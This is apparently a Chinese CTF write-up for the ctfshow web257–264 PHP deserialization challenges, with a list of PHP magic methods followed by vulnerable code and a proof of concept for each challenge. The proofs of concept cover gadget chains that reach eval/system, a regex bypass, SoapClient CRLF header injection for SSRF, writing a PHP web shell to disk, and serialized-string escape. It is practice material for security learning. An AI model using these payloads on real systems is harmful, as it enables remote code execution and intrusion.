php魔术方法

  • __construct():实例化对象时被调用, 当__construct和以类名为函数名的函数同时存在时,__construct将被调用,另一个不被调用。

  • __destruct():当删除一个对象或对象操作终止时被调用

  • __call():对象调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。

  • __get():读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。

  • __set():设置一个对象的属性时, 若属性存在,则直接赋值;
    若不存在,则会调用__set函数

  • __toString():打印一个对象的时被调用。如echo obj;或print obj;

  • __clone():克隆对象时被调用。如:t=newTest();t1=clone $t;

  • __sleep():执行serialize()时,先会调用这个函数

  • __wakeup():unserialize时被调用,做些对象的初始化工作

  • __isset():检测一个对象的属性是否存在时被调用。如:isset($c->name)

  • __unset():unset一个对象的属性时被调用。如:unset($c->name)。

  • __set_state():调用var_export时,被调用。用__set_state的返回值做为var_export的返回值。

  • invoke():它允许对象以函数的方式被调用。当尝试调用一个对象时,如果该对象定义了__invoke方法,那么这个方法会被自动调用。

  • __autoload():实例化一个对象时,如果对应的类不存在,则该方法被调用。

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

最终目的是出发类backdoor的eval,使其执行任意代码。

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='system("cat ./flag.php");';
public function getInfo(){
eval($this->code);
}
}
echo(urlencode(serialize(new ctfShowUser())));//O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A25%3A%22system%28%22cat+.%2Fflag.php%22%29%3B%22%3B%7D%7D

cookie:user=username=xxxxxx&password=xxxxxx

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

在上题基础上加了正则:这段代码检查 $_COOKIE[‘user’] 中的值是否符合以 o: 或 c: 开头,后面跟着一个或多个数字,并以冒号 : 结尾的模式。如果不符合此模式,则 if 语句块中的代码会被执行。

也就是user不可以是之前的形式了,0:1这种形式可以加一个+号绕过该正则,也就是换为0:+1。

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$a = serialize(new ctfShowUser());
$a = str_replace('O:','O:+',$a);
echo urlencode($a);

web259

CRLF

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。 所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

Soap

SoapClient 是 PHP 提供的一个原生类,用于通过 SOAP 协议与 Web 服务进行通信。它可以发送请求、接收响应,并与远程服务进行数据交换。

基本功能
SOAP (Simple Object Access Protocol) 是一种基于 XML 的协议,用于在分布式环境中交换信息。
SoapClient 提供了一种简单的方式来调用基于 SOAP 的 Web 服务,无需手动处理复杂的 SOAP 请求和响应。
SoapClient 类的构造
创建 SoapClient 对象时,需要传递以下参数:

WSDL (Web Services Description Language):描述服务的方法和数据结构。
选项数组:用于配置客户端行为,如验证、超时设置等。

提供一个SoapClient的使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// WSDL 地址
$wsdl = "http://www.dneonline.com/calculator.asmx?WSDL";

try {
// 创建 SoapClient 实例
$client = new SoapClient($wsdl);

// 调用 Web 服务方法
$params = ['intA' => 5, 'intB' => 3]; // 方法参数
$result = $client->__soapCall("Add", [$params]);

// 输出结果
echo "Result: " . $result->AddResult . "\n"; // 访问响应的属性
} catch (SoapFault $e) {
// 捕获异常
echo "Error: {$e->getMessage()}\n";
}

由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。因此在CTF中通常会出现一种存在调用不存在的方法、并且需要我们伪造请求头的题目。这种时候,SoapClient正好可以给我们解决问题

本题中,将倒数第一和第二个ip,弹出,将倒数第二个ip赋给变量ip,其值必须是127.0.0.1

在本题的环境当中,由于使用了Cloudflare 代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,本题就是后者的情况,在两次调用array_pop后我们取得的始终是固定的服务器IP

本地测试:用soap给9999端口发送调用__call的请求

1
2
3
4
<?php
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));
$client->getFlag();
?>

uri是命名空间URI,它在SOAP消息中用于标识服务。URI通常不会指向实际的资源,而是用来标识命名空间。 location是实际的服务端点URL,即SOAP请求将发送到的服务器地址。

现在要做的就是加一个字段ua的大小限制,使得整个请求头都被伪造。而后面超过限制的部分被忽略

poc:

1
2
3
4
5
6
7
<?php
$ua = "zeph\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

//$client->getFlag();
echo urlencode(serialize($client));
?>

web260

1
2
3
4
5
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

poc:

1
2
3
4
5
<?php
class ctf{
public $ww='ctfshow_i_love_36D';
}
echo urlencode(serialize(new ctf()));

web261

打redis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

在定义_unserialize()方法后,_wakeup()会失效。_invoke()没什么利用点,只能看_destruct()。

需要满足:

code=0x36d,而在unserialize里code由两个字段拼接而成。

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfshowvip{
public $username;
public $password='';
public $code='';

public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_POST[1]);?>';

}
}
echo urlencode(serialize(new ctfshowvip()));

web262&264

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

因该是一个非预期,在message.phP传入cookie值msg的token值为admin即可

1
2
3
4
5
6
<?php
class message{
public $token='admin';
}

echo base64_encode(serialize(new message()));

预期解:字符串逃逸。目标是注入to参数闭合“,使得注入后的结果为:

{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

后面的部分会被省略,以此达到篡改token字段的目的,也即传入t=3”;s:5:”token”;s:5:”admin”;}

问题是字符数量出现问题,因此可以利用str_replace(‘fuck’, ‘loveU’, serialize($msg));进行绕过 当t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

序列化字符串数量正确——O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

也就是我们需要输入 27 个 fuck

web264 首页中把写入的位置从cookie换成session 区别是需要手动添加一个cookie字段 msg